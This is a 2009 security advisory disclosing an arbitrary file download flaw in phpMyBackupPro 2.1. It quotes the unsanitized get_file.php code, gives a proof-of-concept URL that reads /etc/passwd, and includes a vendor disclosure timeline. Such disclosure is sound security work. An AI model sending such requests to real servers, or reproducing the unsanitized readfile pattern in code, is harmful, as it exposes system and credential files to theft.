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Arbitrary File Download in phpMyBackupPro

Author
Amol Naik
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-9985
Category
web applications
Date add
16-11-2009
Platform
unsorted
=========================================
Arbitrary File Download in phpMyBackupPro
=========================================

################################################################################
    Arbitrary File Download in phpMyBackupPro
 
    Name            Arbitrary File Download in phpMyBackupPro
    Systems Affected    phpMyBackupPro v 2.1 and possibly earlier versions
    site            http://www.phpmybackuppro.net
################################################################################
 
 
############
1. OVERVIEW
############
 
phpMyBackupPro is a web-based MySQL backup application in PHP.
You can schedule backups, download, email or upload them with FTP and backup whole file directories.
Zip and gzip compression, easy interface and installation. Many languages and online help!
 
###############
2. DESCRIPTION
###############
 
phpMyBackupPro is vulnerable to Arbitrary File Download.
 
######################
3. TECHNICAL DETAILS
######################
 
Arbritrary File Downlaod
++++++++++++++++++++++++
 
Vulnerable page     get_file.php
Vulnerable Parameters   view
Vulnerable Code    
 
---------------------------------------------------------------------------------------
 
// show the requested file
if (isset($_GET['view']) && file_exists($_GET['view'])) {
    if (isset($_GET['download'])) {
        header("Content-Type: application/octet-stream");
        header("Content-Disposition: attachment; filename=".basename($_GET['view']));
        readfile($_GET['view']);
    } else {
        ......
        ......
        .......
    }
 
---------------------------------------------------------------------------------------
 
The parameter "view" is not properly sanitized which results in Arbitrary file download.
 
++++
POC
++++
 
http://localhost/phpMyBackupPro/get_file.php?download=true&view=/etc/passwd
 
 
 
############
4. TimeLine
############
 
20th Oct 2009       Bug Discovered
20th Oct 2009       Reported to Vendor
27th Oct 2009       vendor agreed to the vulnerablity and ready to fix it.
16th Nov 2009       No communication received about the status of the fix.
16th Nov 2009       Public Disclosure


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